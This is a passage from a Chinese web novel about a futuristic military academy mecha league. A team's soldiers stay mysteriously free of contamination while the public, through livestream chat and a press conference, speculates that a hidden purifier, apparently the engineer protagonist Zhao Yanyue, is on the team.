毕竟今天遇到的都是B级以下虫族，他们本身的污染值也并不高。 只不过躁郁、冰冷、混乱的感觉如同被阳光照射的冰雪般迅速消融，取而代之的是一种难以言喻的清明与安宁。 守夜的士兵紧绷的身体瞬间放松下来，无意识发出了一声舒坦的喟叹。 此刻精神前所未有地清爽，他疑惑地看了看四周，最终归咎于休息带来的恢复效果，紧了紧保温毯换了个更舒服的姿势。 夜猫子网友们见赵宴月和许白亦站在篝火旁嘀嘀咕咕，一个个都抓耳挠腮。 “又说悄悄话，什么话是尊贵的星闻速递SVIP会员不能听的。” “其他媒体的电蝇蛾有录到他们在说什么吗，不知道他们说了什么我觉都睡不着。” “各个媒体平台的VIP我都开了，哪家都没录到，这两人故意防着我们呢。” “我建议下届联赛每个选手身上都放个收音器。” “同意，这么防狼一样防着我们，不会是在蛐蛐观众吧。” “别的选手应该不会，垃圾女王这人我说不准。” “楼上对垃圾女王的了解还是太少了，她真想说你坏话，你绝对听得比谁都清楚。” 无风无浪的一夜过去，第二天一早，星闻速递主持人的声音准时出现在了直播画面里。 “观众朋友们早上好，截止目前，积分最高队伍为紫微星法温莎军校代表队，在闻怀玉同学的指挥下，法温莎清剿虫巢的效率领先于其他队伍，目前位于积分榜首位。” 女主持人霓虹接话道：“法温莎能否稳居积分榜第一还未可知，毕竟西廷尔军校第一天的重点放在了赶路上，抽到的开拓者物资包昨天也还没开始发力，我们天市星目前积分位于第二，大家也看得出来团队里士兵们的精神面貌非常好，相较于其他队伍，给人的感觉十分积极向上。” “是的，这确实是个有趣的现象，难道是因为昨天休息得比较好吗。”小野肯定完，又接着开了个小玩笑：“又或者是天市星代表队里的士兵们体质特殊，不怎么受污染的影响？” 私人媒体平台的主持人说话明显没有官方直播的解说严肃，他们你一言我一语的时候，营地里的选手和士兵们正在收拾帐篷和物资，司焕则放出精神力感应着附近的虫巢。 昨天结结实实地打了一整天，除了工程师外基本每个人的精神力都耗空了，但是积分还是位于第二，只能说明和法温莎军校实力确实有差距。 联赛看的是各方代表队的整体实力，并不是单靠一名指挥或是一名机甲尖兵就能扭转乾坤。 法温莎的S级机甲尖兵比天市星队伍多出13名，而且因为只有一名指挥，剩下的空缺也由A级机甲尖兵填补。 天市星的指挥们虽然也大多是A级，但是A级指挥和纯粹的A级机甲尖兵之间斩杀虫族的效率完全两模两样。 西廷尔的水平暂时还摸不清楚，但是不管怎么说，他们这次拿到了相较之下最好的物资包。 虽然比赛只进行了一天，但是是骡子是马观众们心里都已经门儿清，目前看来天市星和第一名应该是没什么关系。 司焕收起思绪，面上还是一副“平平淡淡才是真”的模样，等修整好后带着众人前往东南方向4公里外的虫巢进发。 赵宴月不知道司焕在想什么，她当然也听到了系统的积分播报，但她对天市星拼尽全力还是无法战胜的情况接受良好。 要是天市星真能从硬实力上干过法温莎，也不至于落魄这么多年。 赵宴月摇头晃脑地感叹了一会儿，决定今天要为天市星的积分添砖加瓦。 在虫巢里的虫族又一次从地下爬出来时，赵宴月扭头看向莫听然道：“你们就在此地不要走动，我去赚点积分。” 莫听然听着队长的叮嘱点点头，对她的跃跃欲试也毫不意外，还反过来叮嘱道：“记得点到为止，晚上还要留一半精神力加装武器。” “没问题。” 直播画面里，赵宴月召唤出银白机甲似鸟投林般混入了混乱的战场。 她机甲握着一根长长的金属棍，上面附着着熊熊燃烧的火焰，一棍一只低等虫族。 但是由于没有指挥连接精神海，她一个没上过机甲尖兵系课程的工程师和其他人根本没有配合可言。 从空中坠落的天火流星连队友带对手一起全方位无死角攻击，所过之处一片狼藉。 就在大家以为她放完几个大后应该要歇菜了时，她周围数不尽的庞大虫族身上又开始浮现出暗红的丝线。 混世魔王原地复活，又开着机甲到处开大，随地大小炸，十分没素质。 尽管她敌我不分，但是我方多一个S级机甲尖兵也是实打实地多一些优势。 观众们看着浑身上下写满了隐忍两个字的其他选手们，又看了看为非作歹兴风作浪的赵宴月，想骂又有些骂不出口，想夸那更是说不出一个字。 “……机甲工程师真是可以为所欲为。” “那能怎么办，每一届联赛对工程师的要求就是有能力自保，人家愿意过来赚积分就不错了。” “垃圾女王精神力不多都这样了，不敢想正常起来是个什么光景，快收了神通吧。” “虽然确实称得上帮忙，但是很难说清她到底在帮哪边。” “楼上尬黑，我家垃圾女王的火球炸弹基本都砸在虫族身上好吧，哪有敌我不分。” “西廷尔那边还是在赶路，不知道是个打起架来是个什么水平，其实我感觉天市星这届实力比往届还是要强点的，不知道第二有没有机会。” “西廷尔这次物资包不错，在没装备完武器的情况下肯定先赶路性价比最高，装好武器后就可以停下来赚积分了。” “偷偷来天市星直播间看一眼，你们都好平和啊，不像我们西廷尔还有点紧张能不能争一下第一。” 第106章 “A级虫族三点钟方向！B级在左翼突进！” “1队2队S级尖兵顶上去尽快清缴, 拉开高等级虫族和士兵的距离。” “收到！” 激烈的厮杀中，指挥的命令与士兵们请求支援的声音在机甲通讯内交织。 应天悦如鬼魅般游走在战场中，她的机甲双臂上加装了两门高速旋转的链锯刃, 动却异常精准灵巧, 打法狂暴而直接。 洛狸并不能连接S级机甲尖兵的精神海，只能通过机甲通讯频道统筹全局。 他不断下达命令微调队伍阵型, 通过精神连接指挥士兵们弥补S级机甲尖兵狂攻猛打留下的漏洞，应对虫巢里的低等虫族。 高等级虫族的出现让原本简单的战斗难度陡然提升，但斩杀高等级虫族对西廷尔的选手们来说并不难。 他们之中的大部分尖兵都装备上了性能优良的能源武器, 战斗难度的提升在于精神污染肉眼可见地加剧了。 在经过高等级虫族出现后的短暂调整后，西廷尔军校立马展现出了惊人的侵略性, 每个人的表现都勇猛无比。 “喜大普奔，西廷尔清缴的虫巢第一个召唤出高等级虫族。” “开拓者物资包好爽，能源武器清小怪太快了。” “应天悦也太猛了, 简直就是人形暴龙。” “谢玄春怎么也在赚积分, 他的操作竟然也不输A级机甲尖兵。” “什么赚积分，人家是被迫应战, 出手只是为了保护工程师队员，你看他之前出过手吗。” “可惜工程师还是减员了, 机甲尖兵们主要任务是击杀虫族, 不可能专门去保护工程师。” “虽然咱们开局花了点时间赶路, 但是这两天赚的积分加上今天这一波高等级虫族的积分有望把天市星摁下去！” “那你看把紫微星摁下去有望吗。” “……这就有点太急功近利了。” 西廷尔军校最先遭遇高等级虫族, 原本还在缓慢追赶的积分忽然强势崛起, 迅速拉近了与天市星和法温莎的距离。 另一边的法温莎军校依旧稳扎稳打，他们本身硬实力就强于其他两队，在闻怀玉的指挥下清剿效率也是最高的。 积分始终牢牢占据首位也意味着他们清剿的虫巢数量最多，战斗频率极高, 士兵们持续处于污染状态。 即便战术安排已经最大限度地降低了士兵们污染值提升的速度，但从昨天就开始出现了淘汰。 闻怀玉看着战术板上实时更新的各队数据，指尖无意识地在屏幕上轻点。 虽然数据里没有各支队伍的积分显示，但上面有各队的选手淘汰人数和士兵剩余人数。 “西廷尔的士兵开始淘汰了，剩余人数现在在不断下降，应该是遭遇了高等级虫族。” “那他们运气不错。”贺江山微微点头，“虽然我们这边的士兵最早出现淘汰，但这是高强度频繁作战的正常损耗。” “既然我们的损耗是正常的……”闻怀玉的目光落在天市星那栏，吐字清晰道：“天市星士兵剩余人数1500，目前零淘汰，这个数据你怎么看？” 贺江山稍稍皱眉：“他们清剿的虫族数量不如我们，也还没遇上过高等级虫族，零淘汰也不算太过异常。” 闻怀玉对他的回答不置可否。 他调出天市星的行进路线：“他们这个赶路的速度可以看出战斗强度并不低，现在能维持零淘汰绝不仅仅是运气好或者指挥的能力出众能解释的。” 贺江山也找不到能解释这个现象的理由，客观分析道：“现在也看不到他们的积分，可能单纯没找到虫巢所以走得慢。” “你自己听听你这话合理吗？” “那不然是什么原因。” “……” 被闻怀玉盖棺定论为“数据异常”的天市星代表队正在一片相对平缓的砾石地带休整。 司焕用精神力感知完周围环境，虫巢位置立马通过精神海传递到了众人脑海。 “附近分布着几个小型虫巢，彼此距离不远，每三支小队负责一个虫巢分散行动，前往我给你们划的目标点。” 命令下达，队伍迅速化整为零，如同溪流般分头涌向各自的目标。 司焕随后扭头看向游击小队，觉得这几人连接不了精神海真是烦人。 “你们几个跟着19和20小队行动。”他说到这指了指两只小队离开的方向，“工程师跟着队长走，注意安全。” 星闻速递的直播频道里，主持人小野看着画面开口道：“真是令人惊讶，天市星代表队士兵们的状态保持得实在太好了。” 霓虹深感赞同地附和：“经过这几天的高强度战斗，他们目前仍然是零淘汰！或许接下来的战斗结束就会出现淘汰了。” 小野心里觉得零淘汰的数据有些异常，但下意识已经试图为自家代表队寻找解释。 “从过往的战斗画面上不难看出司焕的指挥水平十分在线，最大限度地保护了士兵……” 他越说声音越弱，自己都意识到了这个解释不太能服众。 司焕的指挥水平确实是一流的，但是天市星的清剿行动有多高强度观众们有目共睹。 再怎么精妙绝妙的指挥水平也不可能突破客观条件的限制。 霓虹见他不说话了，立马接话道：“或者他们物资包里配备了特效抗污染舒缓剂，虽然这种药剂价格极其昂贵且效果有限，但是出现在‘勘探者’物资包里也不是不可能嘛……哈哈。” 观众：“……” 在星闻速递上看天市星直播画面的都是天市星的观众，大家十分默契地什么茬都没找，一点不吱声地继续看直播。 赵宴月此时跟在19和20小队的队伍里，负责清剿一个位于凹陷地带的虫巢。 战斗很快爆发，即便是规模比较小的虫巢，里面涌出来的虫族数量也是个天文数字，分配到这个虫巢的选手数量也最少。 没被拦下的虫族立马朝后方的工程师们涌来，而后又被一道银白色的身影如同鬼魅般骤然切入。 黑红色的炽热火光在虫群中闪烁，伴随着虫族尖锐的嘶鸣和金属甲壳碎裂的声响，压过来的虫群眨眼间灰飞烟灭。 从虫族接近战线后方的工程师到被清剿，整个过程都发生得相当快。 银白色的机甲静静在工程师前方的空中悬浮着，没有一只虫族能突破她的防线，浑身上下都透着一人抵挡百万雄师的BKING气场。 惊魂未定的工程师们像是被鸡妈妈护在身后的鸡崽子，此时看着赵宴月的眼神都变了。 虽然他们是B级精神海，但他们的主业毕竟是工程师，机甲作战方面的实力十分一般。 在近距离亲身感到了自家队长竟然如此勇猛后，心里一下子充满了稳稳的安心感。 “不愧是拥有不输机甲尖兵实战水平的S级工程师，好强好喜欢。” “就算精神力不多续航成谜，但是我们垃圾女王的水平依旧是S级！懂不懂S级的含金量！” “太好了，这次天市星肯定不会出现工程师淘汰过多后期武器修不过来的局面了。” “笑死，天市星搁这半场开香槟，信不信你们马上就要垫底。” “楼上西廷尔的人吧，今天赚了点积分就藏不住了，你来看我们天市星的直播干嘛。” “就是，听说你们的工程师已经出现损耗，后面的淘汰速度只会越来越快，真为你们担心（阴阳怪气版）” “嘴上逞能属你们天市星第一，是不是垫不垫底你们自己等着看吧。” 随着最后一场清缴战结束，天色黑下来的同时天市星众人的精神力也耗空了，现在正随着时间一点点补充。 夜晚扎营时，营地篝火旁的工程师们都在加班加点地进行武器修复和重新加装。 经过几天的高强度使用，不少武器里面的引力脉络都出现了大大小小的断裂，用起来有些接触不良。 赵宴月拿着引导棒将一柄重锤内部断裂的引力脉络重新架构上，然后又把修好的武器重新加装上机甲。 就在大家各干各的活之时，系统每日随机时间出现的积分播报弹了出来。 【今日积分排名第一位：法温莎军校，第二位：西廷尔军校，第三位：天市星军校】 播报弹出的瞬间，营地里的气氛肉眼可见地低迷下去。 本来有些吵闹的聊天声都消失了，只剩下篝火燃烧的噼啪声和远处荒野传来的风声。 “第二名还没坐稳几天，又垫底了。”有人忍不住低声嘟囔，语气里充满了失落。 “西廷尔今天积分涨得太快了，而且他们的武器比我更好。” “其实不止武器更好，这么快就追上来说明他们很强。” “现在好了，连第二的希望都看不到。” 司焕见士气低迷，目光扫过情绪低落的队员们：“积分落后只是暂时的，我们天市星选手和士兵力量保存得最完整，这也是我们后续的优势所在。” 这话并没有带来多少安慰，有人声音焦虑道：“就算现在零淘汰，明天士兵污染度怎么想也到临界点了。” “要么不淘汰，一淘汰就得淘汰一大批，说到底各个队伍的士兵力量是一样的，淘汰得晚根本算不上优势。” 他的话像一盆冷水，浇在了每个人心头。 所有人都明白这个道理，只是不愿去面对天市星队伍的实力确实和其他两个队伍有差距的事实。 硬实力的差距难以弥补，想到这一届天市星又要垫底，营地里陷入了更深的沉默，低迷的气氛几乎凝成实质。 司焕看着众人，张了张嘴最终也没再说什么。 比起其他人看到积分被西廷尔反超才意识到这一点，他远比大家察觉得更早。 周围一片愁云惨淡，只有赵宴月没被这气氛感染，手速奇快地将修好的尖刺拳套装到机甲上，然后拍了拍手上的灰。 “唉，气氛好压抑啊。” “确实很难，不过天市星垫底我其实已经习惯了，只是选手们肯定一时之间难以接受。” “不用太自责啦，其实天市星从每届S级精神海学生数量都垫底的时候就已经输了。” “还是垃圾女王没心没肺，看起来是早早接受了这个事实。” “接受了事实也没摆烂，夸一下。” “这也能夸？” “没一点集体荣誉感，黑一下。” “……她还和许白亦有说有笑的，这两人怎么一点也看不懂沉重的气氛。” 直播间的弹幕充满了平静的死感，天市星观众们看到明显落于下风的局势也没激动谩骂，有种经历过大风大浪的从容。 不管是直播画面里还是直播画面外，都只有赵宴月和许白亦两个人还笑得出来。 “等对面的士兵淘汰，接下来就到我们的回合了，想想都要笑出声了。” “忍忍，真笑出声你能被黑上热搜。”许白亦说到这顿了顿，“虽然听起来很棒，但是这种事怎么想都没法解释。” “士兵都是指挥中心分配的，污染值监测装置也是他们提供的，没淘汰关我们天市星什么事，我看谁敢尬黑。” 第107章 “天市星代表队士兵污染数据异常”[爆] “净化师殿下是否可能参加联赛”[爆] “指挥中心回应：天市星代表队数据无异常”[爆] “云中宫殿发表声明：不存在未登记的净化师殿下”[爆] 联邦军校联赛指挥中心, 新闻发布会现场。 各方媒体挤成一片，记者们的问题如同疾风骤雨般砸向发言台后的联赛指挥中心发言人。 “发言人您好！如今西廷尔和法温莎军校的士兵皆淘汰大半，关于天市星代表队至今保持士兵零淘汰的记录, 您有什么想和大家说的吗？” “关于天市星士兵零淘汰的情况, 外界质疑声很大，请问指挥中心是否进行了数据核查？是否存在系统漏洞或其他技术原因？” “发言人！有专家称在目前的战斗强度下, B级精神海不可能维持如此低的污染累积速度，指挥中心对此有何解释？” “您好，是否可能存在未登记的净化师殿下参加了联赛的情况？” 面对汹涌的质疑, 发言人面色平静，他抬手压下现场的嘈杂, 声音清晰地传遍会场。 “指挥中心高度重视所有数据的真实性与公正性，关于天市星代表队士兵污染度问题，我们已进行三轮交叉核验。” 他说到这顿了顿, 目光扫过全场：“核验结果显示, 天市星代表队所有士兵佩戴的污染监测装置运行正常，数据回传链路无异常, 所有士兵的实时污染指数均未达到60%的淘汰红线，数据真实有效, 特此公告。” “可是为什么——”仍有记者不甘心地想追问。 发言人直接打断道：“原因不在指挥中心调查范围, 指挥中心只监测结果, 不探究原因, 下一个问题。” “天市星是否故意隐瞒了一位净化师殿下的存在, 想要借此拿下联赛冠军？要知道联赛第一名的星球能分到的净化资源比单单一名净化师多得多。” “法温莎、西廷尔、兰柏林、斯伦任一军校的在读学生都符合联赛参赛条件，如果你认为这四所军校内存在净化师殿下，那她自然也可以参赛，至于天市星是否能隐瞒一位殿下的存在, 我建议你去采访云中宫殿。” 指挥中心“数据无异常”的声明，加上“殿下也能参与联赛”的模糊不清的态度，如同向滚油中泼入冷水，瞬间让星网彻底沸腾了起来。 “净化天赋检测仪式是云中宫殿负责的，云中宫殿属于联邦官方机构，不存在帮助天市星隐瞒的可能。” “云中宫殿回应得好快，他们也10G冲浪吗。” “指挥中心说数据没问题，这怎么可能没问题，眼睛不瞎的都知道有问题。” “也就是说……天市星真的有什么方法能在联赛规则允许的范围内延缓污染？” “就算他们物资包里真有特效抗污染舒缓剂也不可能零淘汰，再说了哪有那么多舒缓剂，这不是殿下出手了我直接吃屎。” “那问题又回来了，云中宫殿说不存在未登记的殿下，天市星代表队到底怎么回事。” “有没有可能是研发出了什么新型抗污染装备。” “你的意思是抗污染设备只给天市星选手用吗？” 殿下们的身份崇高和脆弱金贵早已深入人心，面对这个有净化师参加联赛的猜测，怀疑与否定是大多数人的第一反应。 让殿下们亲临前线直面虫族，这种想法就像是将绝世珍宝投入熊熊燃烧的熔炉，简直令人本能地抗拒和恐惧。 即便这零淘汰的局面简直可以说是演都不演了，但大家还是在疯狂猜测其他理由，并且试图说服自己。 灰烬-III星，天市星代表队行进途中，队伍正在穿越一片布满巨大紫色晶簇的区域。 奇异的晶体折射着光线，散发出一圈圈迷离的光晕，十分干扰正低空飞行的机甲视线。 司焕脸色忽然一变，下令道：“戒备。” 队伍整齐停下，同时前方晶簇的后面，影影绰绰的黑影浮现，而后又渐渐逼近。 高等级虫族的军团如同黑压压的乌云一般，眨眼间朝天市星的选手们推进过来。 他们其中身形最大的B级虫族也不过和选手们的机甲体积一样，但是给人带来的压迫感比堪称庞然大物的低等虫族强得多。 为首的十几个虫族除了头顶上有两根触角，外观已经和常人无异，让人明明白白一眼就能看出是S级虫族。 空间中的污染迅速蔓延，直到达到了一定浓度才稳定了下来。 S级机甲尖兵们在虫巢里杀了个九进九出也不动如山的污染值开始出现上涨。 唯一能应对S级虫族只有S级机甲尖兵，即便是A级机甲尖兵，也做不到精神海污染值在患上狂躁症之前斩杀S级王虫。 指挥的一条条命令快速下达，一部分S级机甲尖兵们第一时间顶上去对上S级王虫，另一部分则和B级士兵们一同作战，对上了数量更多的B级虫族。 交战的阵型不断发生变化，然后渐渐拉成泾渭分明的两边，尽可能地让士兵们脱离了S级虫族的污染范围。 虫族很明显并没有什么战友爱，它们不仅从不和队友打配合，也不会在危急关头去捞一把同伴，完全各打各的。 许白亦作为游击小队的一员，没有和华妩等人一样哪里求援帮哪里，而是和赵宴月一起操控机甲游走在战场后方。 两人精准点杀着从正面防线漏出来的，扑向了工程师区域的高等级虫族，将没什么战斗力的小鸡崽守得固若金汤。 星闻速递作为直播天市星代表队的媒体，此时直播间里的收视率已经达到了一个惊人的数字。 在指挥中心声明天市星数据无异常的新闻发布会召开之后，每一个直播天市星的媒体都迎来了泼天的富贵。 直播间的会员开通数量呈指数级增长，平台的服务器一度被汹涌的流量冲到宕机。 网友们虽然恐惧天市星的选手里真有净化师殿下存在，但还是忍不住化身福尔摩斯，逐帧分析起天市星的直播画面。 “别打了别打了，你们之中任何一个的打架场面都让我感到害怕。” “倒也不必这么提心吊胆，其实只需要观察B级选手就行，很显然他们被垃圾女王保护得很好。” “终于放下一点心了，垃圾女王立大功。” “垃圾女王是谁，第一次来天市星的直播间。” “A级也有可能，会不会是莫听然，我感觉她看着最像……你们懂的。” “要真是A级那还得了，目前还活着的A级只有九位诶，你知道这是什么概念吗。” “为什么一定是选手，你们说有没有可能是某个士兵，灯下黑。” “士兵们和选手们一天天累死累活，根本没有多余的精神力去净化别人，只有工程师有嫌疑。” “从现在起，我会一直、一直、一直盯着天市星这24名工程师。” “23，莫听然暂且不说，先排除垃圾女王。” “有道理。” “我觉得季长夏很可疑，你们看她的表情（截图.jpg）” “嫌疑点在哪。” “她眯了一下眼睛，这不可疑吗。” “……” 自从西廷尔首次召唤出高等级虫族后，法温莎和天市星现在也接连遇到了高等级虫族。 可以看出虫巢清缴到现在，高等级虫族的目光已经投向了灰烬-III星。 随着S级虫族的到来，S级机甲尖兵也开始出现了淘汰，倒不是因为污染值过高，而是机甲丧失战斗能力后选手主动按下了退赛键。 机甲丧失战斗能力后一时半会儿的时间恢复不过来，这个时候再被虫族追着杀就是在鬼门关反复横跳，队友都捞不了。 好在目前为止指挥中心的救援都十分及时，暂时还没出现选手伤亡的情况。 晚上修整的时候，赵宴月难得有些心不在焉。 今天遇到的这波高等级虫族里，有一个S级虫族她之前在虫族星上见过。 ——之前亲眼见到它把触角伸进室友的太阳穴里吸□□神力，对自己当时幼小的心灵造成了些许折磨，所以印象挺深刻。 赵宴月一想到她撤离虫族星时还阴了王虫一手，导致王虫气到把它的巢穴都炸了，她就有种不祥的预感。 不出意外的话，王虫此时应该知道她在灰烬-III了，不过现在离它脱离成长期还有点时间，应该问题不大。 和赵宴月一样心不在焉的还有天市星代表队的其他选手。 虽然选手们光脑上只有战术系统，看不见星网上的各种喧嚣，但整个营地的气氛现在变得无比诡异。 在法温莎和西廷尔的士兵剩余人数已经只剩一半都不到时，他们队伍的士兵竟然还算得上整整齐齐。 之前遇到的都是低等级虫族，士兵们没出现淘汰还勉强说得过去。 今天这一战下来士兵们除了正常的战损淘汰，竟然还保持了污染上的零淘汰，这怎么想都知道有挂。 已知士兵们的污染进度不可能这么慢，他们队伍的物资包也没有什么奇奇怪怪的抗污染装置，于是大家的脑回路都和网友们重合了。 所有或明或暗的目光都投向了正在加班加点修理武器的二十多名工程师。 怀疑、好奇、难以置信……种种情绪交织，但是猜到这个信息的选手们并不像网友们担心到了恐慌的地步。 作为S级机甲尖兵，净化师在他们心里的地位没有那么被神化，心里升起的情绪更多是兴奋和好奇。 大家虽然已经累到手都抬不起来，但大部分人都没有选择进帐篷休息，反而都顽强地围坐在了篝火边。 营地里的气氛十分微妙，机甲尖兵们时不时看一眼正在一心干活的工程师，然后再看向同伴。 双方互相交流着眼神，里面写满了探究和猜测。 “你觉得是她吗？”一个尖兵用肩膀撞了撞身边人，用眼神示意了一下，然后压低声音问。 “不知道……真的有吗，你敢说我都不敢信。” “我去问了，士兵们说他们的精神海一直都很干净，还有人说晚上好像感受到有人攻破了自己精神海。” “给我说的都不困了，真有的话肯定在工程师中间。” “会不会是季长夏，她看着最娇小。” “有可能……” “也就是说我们其中有人的武器是殿下加装的。” “这么一说突然变得好刺激。” 就在这时，忽然有人站起身，无比殷勤去帮工程师们扶稳了人字梯：“小心点小心点，梯子有点晃。” 其他人见状也纷纷效仿，贴心地帮工程师们扶住了梯子。 工程师们被这突如其来的热情搞得浑身不自在：“梯子就算塌了，跳下来也两米不到，至于吗。” “至于的至于的。” “……” 季长夏顶着各方视线的压力，小声问同伴：“之前大家不都是各上各的班吗，怎么突然关心起我们来了。” “可能怀疑殿下在我们工程师里吧。” “别人不知道，咱们都是工程系的还能不知道吗，哪有什么殿下在这。” “我也奇怪呢。” 就在这片突如其来的“众星捧月”中，有一个身影被完美地忽略了。 赵宴月看着周围忽然围上来献殷勤的机甲尖兵们，又看看自己身边的真空带，语气难以置信：“你们还搞区别对待？我不是工程师？” 有机甲尖兵一边扶着梯子，一边看了她一眼，懒散道：“队长你多干点活好吗，别累着其他人了。” “就是就是。” 赵宴月：“……” 人心真是冷漠到令她胆寒。 许白亦笑了一声问：“我给你扶要不要？” “你哪凉快哪呆着去。” “喔。” 人心真是冷漠到令他胆寒。 网友们见状哈哈大笑。 “截图纪念垃圾女王首次吃瘪。” “震惊，S级天之骄子竟遭遇这种不公平对待。” “我想把垃圾女王列入嫌疑人都说服不了自己，她这一天天的又上白班又上晚班，哪里还能剩下精神力搞净化。” “别大意，污染上零淘汰是因为前几天士兵污染都不重，现在高等级虫族出现得越来越频繁，就算是B级净化师也没法一天内净化一千多个高度污染的B级精神海。” “能不能赢的先不说，所以到底是谁啊，我现在抓心挠肝地睡不着觉，看谁都可疑。” “大家可以去星博上看看，已经出现了海选投票，天市星24个工程师的名字全在上面。” “24个？那我去给垃圾女王投一票。” “楼上纯捣乱。” 第108章 地图上的中心拔旗点已经越来越近。 这天天市星的队伍正在向周围探索虫巢位置, 另一侧的山脊线上，赫然出现了西廷尔军校的人马。 这也意味着随着各方队伍不断向中心拔旗点推进，原本的单机比赛变成了联机模式。 联赛禁止出现选手淘汰选手的情况, 所以双方人马察觉到彼此的存在后, 气氛并没有变得剑拔弩张。 “是天市星的队伍。”洛狸眯起眼看着下方的天市星队伍，目光在那些状态好得过分的士兵身上停留了片刻。 “他们的士兵真多。”应天悦皱了皱眉, “等今天清缴完成后，我们队伍剩下的三四百个士兵差不多得全员淘汰。” “法温莎今天就不剩几个士兵了。”洛狸看了眼战术板上的数据，“他们的进展确实快, 不过现在距离拔旗点也最远。” 谢玄春没有参与这个话题的讨论，目光扫过了跟在赵宴月后面的工程师队伍。 “B级精神海使用武器的强度没有S级选手高, 但是他们一直不淘汰的话，这么多人的武器马上都得修了，这可是个大工程。” “对！”应天悦闻言眼睛一亮, 打起了精神：“士兵的武器不修战损率就会直线提升, 他们的优势没我们想象中的大。” “还是挺大的。”谢玄春与世无争地反驳，虽然这个话题是他提出来的, 但他显然没应天悦这么乐观。 “有净化师在，他们的士兵就可以循环利用, 就算战损率上升, 他们的优势也巨大。” “哪有这么开挂的。”洛狸叹了口气, 而后又笑了笑：“不过一千多个高度污染的B级士兵可没那么好净化。” 天市星和西廷尔的队伍遇上后并没有什么寒暄和交流, 两边的指挥互相交涉了一番, 各自划定了彼此的区域，主打一个井水不犯河水。 每一点精神力都是积分，用来和其他队伍的选手打架只会便宜现在还不知道在哪儿的法温莎。 随着两边的指挥接连感应到虫巢，双方几乎同时发起进攻, 原本寂静的天地突然变得格外嘈杂。 在和低等级虫族的战斗刚进行到一半时，高等级虫族的军团也如同幽灵般出现，虽然附近两个虫巢都在经历清缴，但虫族并没有将军团一分为二。 它们只稍稍停顿了片刻，便目光冰冷地锁定了天市星代表队所在的区域。 数以千计的A级、B级虫族如同潮水般涌来，形成了恐怖的包围之势。 “怎么回事？一个都没来我们这？” 应天悦用链锯刃劈开眼前的虫族，惊愕地看着那几乎要将天市星队伍淹没的恐怖虫潮，“天市星能脸黑成这样？” 西廷尔的队员们也都被这突如其来的变故惊呆了，但他们惊讶的点在于这种规模的军团以前从来没出现过。 每天都有无数虫巢在经历清缴，高等级虫族一般不会集结成这么庞大的部队。 “我们要去帮忙吗？”应天悦看向洛狸询问道：“那可全是积分。” 洛狸道：“帮忙是肯定要帮的，不过还得等等。” “清理我们区域的虫巢，向东北方向转移。”洛狸的声音通过通讯频道传出，带着点冷静的笑意：“天市星那边的浑水我们现在没必要蹚。” 指挥下达的瞬间，西廷尔的队伍便动了。 他们拿着能源武器高效地清理着虫巢里的低等级虫族，对隔壁天市星的苦战视若无睹，甚至有意无意地拉开了距离。 而数量巨大的高等级虫族裹挟着恐怖的污染，已经如同海啸般瞬间席卷了天市星的队伍。 在这么多S级、A级、B级虫族压境之下，司焕率先考虑的已经不是污染问题，而是士兵和选手们的生命安全。 赵宴月带着二十几个工程师且战且退，退到了一个暂时安全的巨大岩壁后苟着，时不时解决掉漏过来的虫族。 莫听然看着远处的战场，控制不住地唉声叹气道：“咱们这什么运气，好不容易开点挂，一下子就要被封了。” 虽然她说得含糊不清，但是大家都很轻易地听懂了意思。 这场战斗一看就艰难无比，不是一时半会儿能结束的，但是士兵们的污染值每时每刻都在高速增长。 就算有某位不知名的B级净化师殿下在队伍里，她精神力的消耗速度也够不上污染的增长速度。 一旦净化师精神力耗空，好不容易留存到现在的士兵们随着污染值增长，基本也全部都要淘汰，和其他队伍回到同一起跑线。 季长夏微微拧着眉，细声细气地分析：“不管怎么说，有净化师殿下净化士兵们就能撑得更久，就算他们今天全都淘汰，我们也能一波肥，至少积分能赶上西廷尔。” 被她这么一说，莫听然也支棱了起来：“这倒也是，不过拔旗点已经不远了，就算积分能赶上，没了士兵之后也不好追。” 赵宴月没参与他们关于净化师的讨论，顶着灰烬-III星白天强烈的光线眯了眯眼。 “西廷尔的人真是一点也不胸怀大爱，等着摘桃呢。” 莫听然闻言也将注意力转移到了西廷尔的人身上，之前没意识到他们的存在还不觉得什么，一注意到之后眉毛直接拧成中国结。 “有这种削弱对手的好事他们都要笑死了吧，等我们这边打不动了，高等级虫族的积分自然就是他们接手。” 刚开始虫族数量多污染强，就算西廷尔的人觊觎积分也不会太早出手。 甚至等他们过来摘桃子的时候，天市星的选手们还得说声谢谢。 赵宴月指指点点道：“这辈子还没被别人占过便宜。” 莫听然也很愁，发言十分双标：“那怎么办，高等级虫族一开始就是冲我们来的，不然我们还能反过去摘他们的果子。” “万一我们队伍能独吞这一波高等级虫族的积分呢。” 赵宴月这句话刚说完，一直在逐帧分析每个工程师微表情和动作的网友们也不分析了，顿时拿起键盘和她对线。 “要是你们能独吞这一波，西廷尔的人早就来‘帮忙’了，虽然不能淘汰选手，但是他们是真的会抢怪。” “天市星的优势就在于这一千多个士兵，士兵一淘汰你们加起来不到三百个人，拿什么去独吞。” “认命吧，说来说去这一波积分肯定是要分给西廷尔的，而且他们作为后手还占大便宜。” “我把话放这了，天市星不可能独吞这一波积分，我愿意赌上我全部的身家性命。” “你那三瓜两枣的就算了，干嘛要把命都给我们家垃圾女王，你的命又不好。” “……垃圾女王无脑粉的嘴巴真是和她本人一样毒。” 就在网友们激烈争论之时，战斗也进入了白热化的阶段。 这一次的战斗比以往任何一次都要惨烈，技能光束和虫族身上的金属碎片四处横飞，虫族嘶鸣声与机甲轰鸣震耳欲聋。 士兵们原本干干净净的精神海以极快的速度逐渐变黑，不少指挥和S级机甲尖兵都纷纷出局。 然而就在士兵临近淘汰时，一股庞大的精神力一巴掌扇开了他们的精神海屏障，然后分出一缕如同小蛇般的精神力钻了进去。 已经变黑的精神海瞬间褪色，而另一缕同样位于士兵们精神海的精神力愣在原地目瞪口呆。 指挥们坐在机甲驾驶舱里瞳孔地震，原本顺着精神力下达的一条条指令变成了整整齐齐的“哇靠”。 指挥一哇靠，士兵们察觉到自己精神海的变化时也跟着哇靠。 他们大部分人之前被净化时都处在睡梦中，虽然怀疑自己被净化过，但感知并没有这么清晰。 司焕并没有连接士兵们的精神海，看到大家不约而同地在原地发愣，一下子就知道是指挥出问题了。 “什么时候了还有空发愣？不会指挥我来接手。” 机甲通讯频道内响起指挥们灵魂出窍的声音：“对不起，但是我亲眼看到士兵被净化了，殿下好像演都不演了……” 司焕对已经猜到的事接受良好，如今真被证实有净化师存在也没惊讶：“殿下的精神力总有用完的时候，抓紧时间把效率提上来。” 而另一边的赵宴月捏了捏已经缠绕到她指间的青藤，小声警告道：“你别乱来，我自己来。” 